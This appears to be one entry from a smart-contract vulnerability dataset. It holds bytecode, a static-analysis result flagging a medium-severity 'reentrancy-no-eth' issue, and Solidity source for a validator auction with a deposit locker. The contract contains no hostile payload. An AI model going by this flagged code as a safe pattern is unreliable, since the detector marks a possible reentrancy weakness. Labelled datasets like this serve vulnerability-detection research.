ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210159050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c90612005565b60405180910390fd5b858590508888905014610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490612085565b60405180910390fd5b838390508888905014610b25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1c90612085565b60405180910390fd5b818190508888905014610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490612085565b60405180910390fd5b600080905060008090505b89899050811015610d8857610c07888883818110610b9257fe5b90506020020135600360008d8d86818110610ba957fe5b9050602002016020810190610bbe9190611a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c490919063ffffffff16565b600360008c8c85818110610c1757fe5b9050602002016020810190610c2c9190611a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858582818110610c7657fe5b90506020020135600560008c8c85818110610c8d57fe5b9050602002016020810190610ca29190611a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838382818110610cec57fe5b90506020020135600660008c8c85818110610d0357fe5b9050602002016020810190610d189190611a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7b888883818110610d6557fe5b90506020020135836115c490919063ffffffff16565b9150806001019050610b78565b50610d9e8160075461152390919063ffffffff16565b600781905550505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3590612005565b60405180910390fd5b610e696000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611619565b610e7e816007546115c490919063ffffffff16565b60078190555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831015610ee057670de0b6b3a7640000905061104e565b6000610f34600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561152390919063ffffffff16565b9050600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015611048576000610fd182600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152390919063ffffffff16565b905061103f600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103183670de0b6b3a764000061166c90919063ffffffff16565b6116dc90919063ffffffff16565b9250505061104e565b60009150505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90612005565b60405180910390fd5b611188600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117a600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007546115c490919063ffffffff16565b61152390919063ffffffff16565b6007819055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd90612005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d90611fe5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6260405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000670de0b6b3a7640000611513838561166c90919063ffffffff16565b8161151a57fe5b04905092915050565b600082821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90611fc5565b60405180910390fd5b818303905092915050565b6115c08282600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117329092919063ffffffff16565b5050565b60008082840190508381101561160f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160690612025565b60405180910390fd5b8091505092915050565b611668823083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b8909392919063ffffffff16565b5050565b60008083141561167f57600090506116d6565b600082840290508284828161169057fe5b04146116d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c890612065565b60405180910390fd5b809150505b92915050565b6000808211611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790611fa5565b60405180910390fd5b81838161172957fe5b04905092915050565b6117b38363a9059cbb60e01b8484604051602401611751929190611f21565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611841565b505050565b61183b846323b872dd60e01b8585856040516024016117d993929190611eea565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611841565b50505050565b600060608373ffffffffffffffffffffffffffffffffffffffff168360405161186a9190611eb8565b6000604051808303816000865af19150503d80600081146118a7576040519150601f19603f3d011682016040523d82523d6000602084013e6118ac565b606091505b5091509150816118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890611f85565b60405180910390fd5b60008151111561194f578080602001905181019061190f9190611b26565b61194e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194590612045565b60405180910390fd5b5b50505050565b60008135905061196481612199565b92915050565b60008083601f84011261197c57600080fd5b8235905067ffffffffffffffff81111561199557600080fd5b6020830191508360208202830111156119ad57600080fd5b9250929050565b60008083601f8401126119c657600080fd5b8235905067ffffffffffffffff8111156119df57600080fd5b6020830191508360208202830111156119f757600080fd5b9250929050565b600081519050611a0d816121b0565b92915050565b600081359050611a22816121c7565b92915050565b600060208284031215611a3a57600080fd5b6000611a4884828501611955565b91505092915050565b6000806000806000806000806080898b031215611a6d57600080fd5b600089013567ffffffffffffffff811115611a8757600080fd5b611a938b828c0161196a565b9850985050602089013567ffffffffffffffff811115611ab257600080fd5b611abe8b828c016119b4565b9650965050604089013567ffffffffffffffff811115611add57600080fd5b611ae98b828c016119b4565b9450945050606089013567ffffffffffffffff811115611b0857600080fd5b611b148b828c016119b4565b92509250509295985092959890939650565b600060208284031215611b3857600080fd5b6000611b46848285016119fe565b91505092915050565b600060208284031215611b6157600080fd5b6000611b6f84828501611a13565b91505092915050565b60008060408385031215611b8b57600080fd5b6000611b9985828601611a13565b9250506020611baa85828601611955565b9150509250929050565b611bbd8161211e565b82525050565b611bcc81612130565b82525050565b6000611bdd826120f7565b611be78185612102565b9350611bf7818560208601612166565b80840191505092915050565b6000611c10600d8361210d565b91507f494e56414c49445f434c41494d000000000000000000000000000000000000006000830152602082019050919050565b6000611c5060208361210d565b91507f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65646000830152602082019050919050565b6000611c90600e8361210d565b91507f4449564944494e475f4552524f520000000000000000000000000000000000006000830152602082019050919050565b6000611cd060098361210d565b91507f5355425f4552524f5200000000000000000000000000000000000000000000006000830152602082019050919050565b6000611d10600d8361210d565b91507f494e56414c49445f4f574e4552000000000000000000000000000000000000006000830152602082019050919050565b6000611d5060098361210d565b91507f4e4f545f4f574e455200000000000000000000000000000000000000000000006000830152602082019050919050565b6000611d9060098361210d565b91507f4144445f4552524f5200000000000000000000000000000000000000000000006000830152602082019050919050565b6000611dd0602a8361210d565b91507f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008301527f6f742073756363656564000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e3660098361210d565b91507f4d554c5f4552524f5200000000000000000000000000000000000000000000006000830152602082019050919050565b6000611e76601c8361210d565b91507f6261746368206772616e74206c656e677468206e6f74206d61746368000000006000830152602082019050919050565b611eb28161215c565b82525050565b6000611ec48284611bd2565b915081905092915050565b6000602082019050611ee46000830184611bb4565b92915050565b6000606082019050611eff6000830186611bb4565b611f0c6020830185611bb4565b611f196040830184611ea9565b949350505050565b6000604082019050611f366000830185611bb4565b611f436020830184611ea9565b9392505050565b6000602082019050611f5f6000830184611bc3565b92915050565b60006020820190508181036000830152611f7e81611c03565b9050919050565b60006020820190508181036000830152611f9e81611c43565b9050919050565b60006020820190508181036000830152611fbe81611c83565b9050919050565b60006020820190508181036000830152611fde81611cc3565b9050919050565b60006020820190508181036000830152611ffe81611d03565b9050919050565b6000602082019050818103600083015261201e81611d43565b9050919050565b6000602082019050818103600083015261203e81611d83565b9050919050565b6000602082019050818103600083015261205e81611dc3565b9050919050565b6000602082019050818103600083015261207e81611e29565b9050919050565b6000602082019050818103600083015261209e81611e69565b9050919050565b60006020820190506120ba6000830184611ea9565b92915050565b60006060820190506120d56000830186611ea9565b6120e26020830185611ea9565b6120ef6040830184611ea9565b949350505050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006121298261213c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015612184578082015181840152602081019050612169565b83811115612193576000848401525b50505050565b6121a28161211e565b81146121ad57600080fd5b50565b6121b981612130565b81146121c457600080fd5b50565b6121d08161215c565b81146121db57600080fd5b5056fea264697066735822122099e532f8bc47f4ffdbc71edf50cc3d1940b24bbdc22784dac9cfef06eb4fc37064736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,982 |
0x7255e01f934307ffb7a41fc78b6b1688f5dc6845
|
/**
*Submitted for verification at Etherscan.io on 2019-10-02
*/
pragma solidity ^0.5.8;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(
msg.sender == owner,
"The function can only be called by the owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract DepositLockerInterface {
function slash(address _depositorToBeSlashed) public;
}
contract DepositLocker is DepositLockerInterface, Ownable {
bool public initialized = false;
bool public deposited = false;
/* We maintain two special addresses:
- the slasher, that is allowed to call the slash function
- the depositorsProxy that registers depositors and deposits a value for
all of the registered depositors with the deposit function. In our case
this will be the auction contract.
*/
address public slasher;
address public depositorsProxy;
uint public releaseTimestamp;
mapping(address => bool) public canWithdraw;
uint numberOfDepositors = 0;
uint valuePerDepositor;
event DepositorRegistered(
address depositorAddress,
uint numberOfDepositors
);
event Deposit(
uint totalValue,
uint valuePerDepositor,
uint numberOfDepositors
);
event Withdraw(address withdrawer, uint value);
event Slash(address slashedDepositor, uint slashedValue);
modifier isInitialised() {
require(initialized, "The contract was not initialized.");
_;
}
modifier isDeposited() {
require(deposited, "no deposits yet");
_;
}
modifier isNotDeposited() {
require(!deposited, "already deposited");
_;
}
modifier onlyDepositorsProxy() {
require(
msg.sender == depositorsProxy,
"Only the depositorsProxy can call this function."
);
_;
}
function() external {}
function init(
uint _releaseTimestamp,
address _slasher,
address _depositorsProxy
) external onlyOwner {
require(!initialized, "The contract is already initialised.");
require(
_releaseTimestamp > now,
"The release timestamp must be in the future"
);
releaseTimestamp = _releaseTimestamp;
slasher = _slasher;
depositorsProxy = _depositorsProxy;
initialized = true;
owner = address(0);
}
function registerDepositor(address _depositor)
public
isInitialised
isNotDeposited
onlyDepositorsProxy
{
require(
canWithdraw[_depositor] == false,
"can only register Depositor once"
);
canWithdraw[_depositor] = true;
numberOfDepositors += 1;
emit DepositorRegistered(_depositor, numberOfDepositors);
}
function deposit(uint _valuePerDepositor)
public
payable
isInitialised
isNotDeposited
onlyDepositorsProxy
{
require(numberOfDepositors > 0, "no depositors");
require(_valuePerDepositor > 0, "_valuePerDepositor must be positive");
uint depositAmount = numberOfDepositors * _valuePerDepositor;
require(
_valuePerDepositor == depositAmount / numberOfDepositors,
"Overflow in depositAmount calculation"
);
require(
msg.value == depositAmount,
"the deposit does not match the required value"
);
valuePerDepositor = _valuePerDepositor;
deposited = true;
emit Deposit(msg.value, valuePerDepositor, numberOfDepositors);
}
function withdraw() public isInitialised isDeposited {
require(
now >= releaseTimestamp,
"The deposit cannot be withdrawn yet."
);
require(canWithdraw[msg.sender], "cannot withdraw from sender");
canWithdraw[msg.sender] = false;
msg.sender.transfer(valuePerDepositor);
emit Withdraw(msg.sender, valuePerDepositor);
}
function slash(address _depositorToBeSlashed)
public
isInitialised
isDeposited
{
require(
msg.sender == slasher,
"Only the slasher can call this function."
);
require(canWithdraw[_depositorToBeSlashed], "cannot slash address");
canWithdraw[_depositorToBeSlashed] = false;
address(0).transfer(valuePerDepositor);
emit Slash(_depositorToBeSlashed, valuePerDepositor);
}
}
contract ValidatorAuction is Ownable {
// auction constants set on deployment
uint public auctionDurationInDays;
uint public startPrice;
uint public minimalNumberOfParticipants;
uint public maximalNumberOfParticipants;
AuctionState public auctionState;
DepositLocker public depositLocker;
mapping(address => bool) public whitelist;
mapping(address => uint) public bids;
address[] public bidders;
uint public startTime;
uint public closeTime;
uint public lowestSlotPrice;
event BidSubmitted(
address bidder,
uint bidValue,
uint slotPrice,
uint timestamp
);
event AddressWhitelisted(address whitelistedAddress);
event AuctionDeployed(
uint startPrice,
uint auctionDurationInDays,
uint minimalNumberOfParticipants,
uint maximalNumberOfParticipants
);
event AuctionStarted(uint startTime);
event AuctionDepositPending(
uint closeTime,
uint lowestSlotPrice,
uint totalParticipants
);
event AuctionEnded(
uint closeTime,
uint lowestSlotPrice,
uint totalParticipants
);
event AuctionFailed(uint closeTime, uint numberOfBidders);
enum AuctionState {
Deployed,
Started,
DepositPending, /* all slots sold, someone needs to call depositBids */
Ended,
Failed
}
modifier stateIs(AuctionState state) {
require(
auctionState == state,
"Auction is not in the proper state for desired action."
);
_;
}
constructor(
uint _startPriceInWei,
uint _auctionDurationInDays,
uint _minimalNumberOfParticipants,
uint _maximalNumberOfParticipants,
DepositLocker _depositLocker
) public {
require(
_auctionDurationInDays > 0,
"Duration of auction must be greater than 0"
);
require(
_auctionDurationInDays < 100 * 365,
"Duration of auction must be less than 100 years"
);
require(
_minimalNumberOfParticipants > 0,
"Minimal number of participants must be greater than 0"
);
require(
_maximalNumberOfParticipants > 0,
"Number of participants must be greater than 0"
);
require(
_minimalNumberOfParticipants <= _maximalNumberOfParticipants,
"The minimal number of participants must be smaller than the maximal number of participants."
);
require(
// To prevent overflows
_startPriceInWei < 10 ** 30,
"The start price is too big."
);
startPrice = _startPriceInWei;
auctionDurationInDays = _auctionDurationInDays;
maximalNumberOfParticipants = _maximalNumberOfParticipants;
minimalNumberOfParticipants = _minimalNumberOfParticipants;
depositLocker = _depositLocker;
lowestSlotPrice = ~uint(0);
emit AuctionDeployed(
startPrice,
auctionDurationInDays,
_minimalNumberOfParticipants,
_maximalNumberOfParticipants
);
auctionState = AuctionState.Deployed;
}
function() external payable stateIs(AuctionState.Started) {
bid();
}
function bid() public payable stateIs(AuctionState.Started) {
require(now > startTime, "It is too early to bid.");
require(
now <= startTime + auctionDurationInDays * 1 days,
"Auction has already ended."
);
uint slotPrice = currentPrice();
require(
msg.value >= slotPrice,
"Not enough ether was provided for bidding."
);
require(whitelist[msg.sender], "The sender is not whitelisted.");
require(!isSenderContract(), "The sender cannot be a contract.");
require(
bidders.length < maximalNumberOfParticipants,
"The limit of participants has already been reached."
);
require(bids[msg.sender] == 0, "The sender has already bid.");
bids[msg.sender] = msg.value;
bidders.push(msg.sender);
if (slotPrice < lowestSlotPrice) {
lowestSlotPrice = slotPrice;
}
depositLocker.registerDepositor(msg.sender);
emit BidSubmitted(msg.sender, msg.value, slotPrice, now);
if (bidders.length == maximalNumberOfParticipants) {
transitionToDepositPending();
}
}
function startAuction() public onlyOwner stateIs(AuctionState.Deployed) {
require(
depositLocker.initialized(),
"The deposit locker contract is not initialized"
);
auctionState = AuctionState.Started;
startTime = now;
emit AuctionStarted(now);
}
function depositBids() public stateIs(AuctionState.DepositPending) {
auctionState = AuctionState.Ended;
depositLocker.deposit.value(lowestSlotPrice * bidders.length)(
lowestSlotPrice
);
emit AuctionEnded(closeTime, lowestSlotPrice, bidders.length);
}
function closeAuction() public stateIs(AuctionState.Started) {
require(
now > startTime + auctionDurationInDays * 1 days,
"The auction cannot be closed this early."
);
assert(bidders.length < maximalNumberOfParticipants);
if (bidders.length >= minimalNumberOfParticipants) {
transitionToDepositPending();
} else {
transitionToAuctionFailed();
}
}
function addToWhitelist(address[] memory addressesToWhitelist)
public
onlyOwner
stateIs(AuctionState.Deployed)
{
for (uint32 i = 0; i < addressesToWhitelist.length; i++) {
whitelist[addressesToWhitelist[i]] = true;
emit AddressWhitelisted(addressesToWhitelist[i]);
}
}
function withdraw() public {
require(
auctionState == AuctionState.Ended ||
auctionState == AuctionState.Failed,
"You cannot withdraw before the auction is ended or it failed."
);
if (auctionState == AuctionState.Ended) {
withdrawAfterAuctionEnded();
} else if (auctionState == AuctionState.Failed) {
withdrawAfterAuctionFailed();
} else {
assert(false); // Should be unreachable
}
}
function currentPrice()
public
view
stateIs(AuctionState.Started)
returns (uint)
{
assert(now >= startTime);
uint secondsSinceStart = (now - startTime);
return priceAtElapsedTime(secondsSinceStart);
}
function priceAtElapsedTime(uint secondsSinceStart)
public
view
returns (uint)
{
// To prevent overflows
require(
secondsSinceStart < 100 * 365 days,
"Times longer than 100 years are not supported."
);
uint msSinceStart = 1000 * secondsSinceStart;
uint relativeAuctionTime = msSinceStart / auctionDurationInDays;
uint decayDivisor = 746571428571;
uint decay = relativeAuctionTime ** 3 / decayDivisor;
uint price = startPrice *
(1 + relativeAuctionTime) /
(1 + relativeAuctionTime + decay);
return price;
}
function withdrawAfterAuctionEnded() internal stateIs(AuctionState.Ended) {
require(
bids[msg.sender] > lowestSlotPrice,
"The sender has nothing to withdraw."
);
uint valueToWithdraw = bids[msg.sender] - lowestSlotPrice;
assert(valueToWithdraw <= bids[msg.sender]);
bids[msg.sender] = lowestSlotPrice;
msg.sender.transfer(valueToWithdraw);
}
function withdrawAfterAuctionFailed()
internal
stateIs(AuctionState.Failed)
{
require(bids[msg.sender] > 0, "The sender has nothing to withdraw.");
uint valueToWithdraw = bids[msg.sender];
bids[msg.sender] = 0;
msg.sender.transfer(valueToWithdraw);
}
function transitionToDepositPending()
internal
stateIs(AuctionState.Started)
{
auctionState = AuctionState.DepositPending;
closeTime = now;
emit AuctionDepositPending(closeTime, lowestSlotPrice, bidders.length);
}
function transitionToAuctionFailed()
internal
stateIs(AuctionState.Started)
{
auctionState = AuctionState.Failed;
closeTime = now;
emit AuctionFailed(closeTime, bidders.length);
}
function isSenderContract() internal view returns (bool isContract) {
uint32 size;
address sender = msg.sender;
// solium-disable-next-line security/no-inline-assembly
assembly {
size := extcodesize(sender)
}
return (size > 0);
}
}
|
0x6080604052600436106101355760003560e01c806378e97925116100ab5780639d1b464a1161006f5780639d1b464a1461042a5780639e21ef601461043f578063cff29dfd14610454578063f1a9af891461047e578063f2fde38b14610493578063fcd15908146104c657610135565b806378e97925146102b45780637f649783146102c95780637fb45099146103795780638da5cb5b146103b25780639b19251a146103e357610135565b8063509e66ba116100fd578063509e66ba146102035780635c68121514610218578063627749e61461022d57806362ea82db146102425780636b64c7691461027557806372b21f8f1461028a57610135565b80630aa237bb146101935780631998aeef146101ba578063378252f2146101c45780633ccfd60b146101d95780634644d8ba146101ee575b60018060055460ff16600481111561014957fe5b1461018857604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b6101906104db565b50005b34801561019f57600080fd5b506101a86108d0565b60408051918252519081900360200190f35b6101c26104db565b005b3480156101d057600080fd5b506101c26108d6565b3480156101e557600080fd5b506101c26109a5565b3480156101fa57600080fd5b506101c2610a5d565b34801561020f57600080fd5b506101a8610b81565b34801561022457600080fd5b506101a8610b87565b34801561023957600080fd5b506101a8610b8d565b34801561024e57600080fd5b506101a86004803603602081101561026557600080fd5b50356001600160a01b0316610b93565b34801561028157600080fd5b506101c2610ba5565b34801561029657600080fd5b506101a8600480360360208110156102ad57600080fd5b5035610d45565b3480156102c057600080fd5b506101a8610dd6565b3480156102d557600080fd5b506101c2600480360360208110156102ec57600080fd5b81019060208101813564010000000081111561030757600080fd5b82018360208201111561031957600080fd5b8035906020019184602083028401116401000000008311171561033b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ddc945050505050565b34801561038557600080fd5b5061038e610f53565b6040518082600481111561039e57fe5b60ff16815260200191505060405180910390f35b3480156103be57600080fd5b506103c7610f5c565b604080516001600160a01b039092168252519081900360200190f35b3480156103ef57600080fd5b506104166004803603602081101561040657600080fd5b50356001600160a01b0316610f6b565b604080519115158252519081900360200190f35b34801561043657600080fd5b506101a8610f80565b34801561044b57600080fd5b506103c7610ff6565b34801561046057600080fd5b506103c76004803603602081101561047757600080fd5b503561100a565b34801561048a57600080fd5b506101a8611031565b34801561049f57600080fd5b506101c2600480360360208110156104b657600080fd5b50356001600160a01b0316611037565b3480156104d257600080fd5b506101a86110b2565b60018060055460ff1660048111156104ef57fe5b1461052e57604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b60095442116105875760408051600160e51b62461bcd02815260206004820152601760248201527f497420697320746f6f206561726c7920746f206269642e000000000000000000604482015290519081900360640190fd5b6001546201518002600954014211156105ea5760408051600160e51b62461bcd02815260206004820152601a60248201527f41756374696f6e2068617320616c726561647920656e6465642e000000000000604482015290519081900360640190fd5b60006105f4610f80565b90508034101561063857604051600160e51b62461bcd02815260040180806020018281038252602a815260200180611440602a913960400191505060405180910390fd5b3360009081526006602052604090205460ff1661069f5760408051600160e51b62461bcd02815260206004820152601e60248201527f5468652073656e646572206973206e6f742077686974656c69737465642e0000604482015290519081900360640190fd5b6106a76110b8565b156106fc5760408051600160e51b62461bcd02815260206004820181905260248201527f5468652073656e6465722063616e6e6f74206265206120636f6e74726163742e604482015290519081900360640190fd5b6004546008541061074157604051600160e51b62461bcd0281526004018080602001828103825260338152602001806115506033913960400191505060405180910390fd5b33600090815260076020526040902054156107a65760408051600160e51b62461bcd02815260206004820152601b60248201527f5468652073656e6465722068617320616c7265616479206269642e0000000000604482015290519081900360640190fd5b3360008181526007602052604081203490556008805460018101825591527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055600b5481101561080757600b8190555b60055460408051600160e01b6338c56be102815233600482015290516101009092046001600160a01b0316916338c56be19160248082019260009290919082900301818387803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b50506040805133815234602082015280820185905242606082015290517fdd6cd52ba2b8b19d6d10846c2d11027b8838c49378c4ab4450865c31193d8a379350908190036080019150a160045460085414156108cc576108cc6110c5565b5050565b600b5481565b60018060055460ff1660048111156108ea57fe5b1461092957604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b600154620151800260095401421161097557604051600160e51b62461bcd0281526004018080602001828103825260288152602001806114fa6028913960400191505060405180910390fd5b6004546008541061098257fe5b6003546008541061099a576109956110c5565b6109a2565b6109a2611173565b50565b600360055460ff1660048111156109b857fe5b14806109d45750600460055460ff1660048111156109d257fe5b145b610a1257604051600160e51b62461bcd02815260040180806020018281038252603d815260200180611403603d913960400191505060405180910390fd5b600360055460ff166004811115610a2557fe5b1415610a3857610a3361121a565b610a5b565b600460055460ff166004811115610a4b57fe5b1415610a5957610a33611320565bfe5b565b60028060055460ff166004811115610a7157fe5b14610ab057604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b60058054600360ff199091161790819055600854600b5460408051600160e01b63b6b55f250281526004810183905290516101009094046001600160a01b03169363b6b55f25939290920291602480830192600092919082900301818588803b158015610b1c57600080fd5b505af1158015610b30573d6000803e3d6000fd5b5050600a54600b5460085460408051938452602084019290925282820152517f02e3b2fea29cf6e561a51ffc4d68d233b0358b5aade05b3d98b7a7efbe75c8c194509081900360600192509050a150565b60045481565b60015481565b600a5481565b60076020526000908152604090205481565b6000546001600160a01b03163314610bf157604051600160e51b62461bcd02815260040180806020018281038252602c81526020018061146a602c913960400191505060405180910390fd5b60008060055460ff166004811115610c0557fe5b14610c4457604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b600560019054906101000a90046001600160a01b03166001600160a01b031663158ef93e6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9257600080fd5b505afa158015610ca6573d6000803e3d6000fd5b505050506040513d6020811015610cbc57600080fd5b5051610cfc57604051600160e51b62461bcd02815260040180806020018281038252602e815260200180611496602e913960400191505060405180910390fd5b6005805460ff1916600117905542600981905560408051918252517f1bb96dff6ab5005aff98cdc0cf176bb7d8e0423cb48e02217d35b042cec81e9f916020908290030190a150565b600063bbf81e008210610d8c57604051600160e51b62461bcd02815260040180806020018281038252602e815260200180611522602e913960400191505060405180910390fd5b6001546103e88302906000908281610da057fe5b04905064add31ff2db6000816003840a0490506000818460010101846001016002540281610dca57fe5b04979650505050505050565b60095481565b6000546001600160a01b03163314610e2857604051600160e51b62461bcd02815260040180806020018281038252602c81526020018061146a602c913960400191505060405180910390fd5b60008060055460ff166004811115610e3c57fe5b14610e7b57604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b60005b82518163ffffffff161015610f4e57600160066000858463ffffffff1681518110610ea557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4f783c179409b4127238bc9c990bc99b9a651666a0d20b51d6c42849eb88466d838263ffffffff1681518110610f1757fe5b602002602001015160405180826001600160a01b03166001600160a01b0316815260200191505060405180910390a1600101610e7e565b505050565b60055460ff1681565b6000546001600160a01b031681565b60066020526000908152604090205460ff1681565b600060018060055460ff166004811115610f9657fe5b14610fd557604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b600954421015610fe157fe5b6009544203610fef81610d45565b9250505090565b60055461010090046001600160a01b031681565b6008818154811061101757fe5b6000918252602090912001546001600160a01b0316905081565b60025481565b6000546001600160a01b0316331461108357604051600160e51b62461bcd02815260040180806020018281038252602c81526020018061146a602c913960400191505060405180910390fd5b6001600160a01b038116156109a257600080546001600160a01b0383166001600160a01b031990911617905550565b60035481565b63ffffffff333b16151590565b60018060055460ff1660048111156110d957fe5b1461111857604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b6005805460ff1916600217905542600a819055600b5460085460408051938452602084019290925282820152517fca2a8cd07fc62c8133bc74e94a78c502f520bb7a5792243176b20e2c5bda59f6916060908290030190a150565b60018060055460ff16600481111561118757fe5b146111c657604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b6005805460ff1916600417905542600a81905560085460408051928352602083019190915280517f960b8f6fb0032af274e187030bca69877c3919bb3208d8d0ffdf417aac0bc5929281900390910190a150565b60038060055460ff16600481111561122e57fe5b1461126d57604051600160e51b62461bcd0281526004018080602001828103825260368152602001806114c46036913960400191505060405180910390fd5b600b5433600090815260076020526040902054116112bf57604051600160e51b62461bcd0281526004018080602001828103825260238152602001806115836023913960400191505060